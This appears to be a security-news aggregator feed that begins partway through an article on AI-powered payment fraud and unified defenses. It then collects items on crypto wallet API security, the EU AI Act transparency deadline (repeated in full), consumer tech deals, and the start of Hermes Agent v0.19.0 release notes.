<p class="wp-block-paragraph">“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product &amp; Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of <a href="https://www.binance.com/en/blog/security/2953911729763975700">security depends on unified intelligence</a> — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.<br><br>“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.</p>



<h2 class="wp-block-heading"><a></a>Unified command: From org chart to battle plan</h2>



<p class="wp-block-paragraph">Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.</p>



<p class="wp-block-paragraph">That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.</p>



<p class="wp-block-paragraph">The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.</p>



<p class="wp-block-paragraph">Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”</p>



<h2 class="wp-block-heading"><a></a>Field manual: What winning institutions do differently</h2>



<p class="wp-block-paragraph">The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.</p>



<p class="wp-block-paragraph">Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[How Secure Are Crypto Wallet APIs? A Cybersecurity Perspective]]></title>
<description><![CDATA[A crypto wallet API can move real money in milliseconds. That speed is the whole point, and it's also the reason attackers pay so much attention to these endpoints. When you connect an application to a wallet through an API, you're handing over the ability to sign transactions, check balances, an...]]></description>
<link>https://tsecurity.de/de/3683272/it-security-nachrichten/how-secure-are-crypto-wallet-apis-a-cybersecurity-perspective/</link>
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<pubDate>Tue, 21 Jul 2026 11:56:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://www.cm-alliance.com/cybersecurity-blog/how-secure-are-crypto-wallet-apis-a-cybersecurity-perspective" title="" class="hs-featured-image-link"> <img src="https://www.cm-alliance.com/hubfs/Crypto_Wallets_Security_with_bgc%20(1).webp" alt="Crypto Wallets Security" class="hs-featured-image"> </a> 
</div> 
<p><span>A crypto wallet API can move real money in milliseconds. That speed is the whole point, and it's also the reason attackers pay so much attention to these endpoints. When you connect an application to a wallet through an API, you're handing over the ability to sign transactions, check balances, and shift funds between addresses. </span></p> 
<p><span>Get the security wrong and the damage isn't a bad user experience. It's stolen assets that no one can claw back. </span><br></p>]]></content:encoded>
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<title><![CDATA[Adobe Firefly AI video editor review]]></title>
<description><![CDATA[An excellent choice for AI image creation, backed by powerful editing features and a generous free plan.]]></description>
<link>https://tsecurity.de/de/3682811/it-nachrichten/adobe-firefly-ai-video-editor-review/</link>
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<pubDate>Tue, 21 Jul 2026 08:18:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An excellent choice for AI image creation, backed by powerful editing features and a generous free plan.]]></content:encoded>
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<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
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<pubDate>Tue, 21 Jul 2026 04:02:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199109/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready.html" target="_blank">CIO.com</a>.</em></p>
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<item>
<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</guid>
<pubDate>Tue, 21 Jul 2026 03:48:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[The Galaxy Card Is Samsung’s Answer to the Apple Card]]></title>
<description><![CDATA[Directly added to your Samsung Wallet account, it’s yet another cash-back credit card, this time tailored for Samsung stans.]]></description>
<link>https://tsecurity.de/de/3682207/it-nachrichten/the-galaxy-card-is-samsungs-answer-to-the-apple-card/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682207/it-nachrichten/the-galaxy-card-is-samsungs-answer-to-the-apple-card/</guid>
<pubDate>Mon, 20 Jul 2026 23:35:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Directly added to your Samsung Wallet account, it’s yet another cash-back credit card, this time tailored for Samsung stans.]]></content:encoded>
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<title><![CDATA[Here’s Where to Find the Best AirPods Pro 3 Deals Right Now]]></title>
<description><![CDATA[These retailer discounts make Apple’s newest earbuds much easier on your wallet.]]></description>
<link>https://tsecurity.de/de/3682031/it-nachrichten/heres-where-to-find-the-best-airpods-pro-3-deals-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682031/it-nachrichten/heres-where-to-find-the-best-airpods-pro-3-deals-right-now/</guid>
<pubDate>Mon, 20 Jul 2026 21:17:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[These retailer discounts make Apple’s newest earbuds much easier on your wallet.]]></content:encoded>
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<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
